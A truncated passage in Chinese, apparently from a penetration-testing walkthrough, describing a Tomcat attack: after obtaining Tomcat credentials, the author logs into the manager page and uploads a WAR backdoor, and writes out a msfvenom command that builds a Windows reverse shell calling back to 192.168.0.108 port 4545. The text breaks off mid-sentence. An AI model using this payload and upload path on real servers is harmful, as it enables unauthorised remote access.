另外一種方法

上一次 拿到tomcat用戶名和密碼後，能夠從tomcat入手，在管理頁登陸 這裏顯示能上傳一個.war文件，我用msfvenom生成一個war的後門shell msfvenom -p windows/x64/shell_reverse_tcp -f LHOST=192.168.0.108 LPORT=4545windows payload.wartomcat 此次不用metasploit,改用n

>>阅读原文<<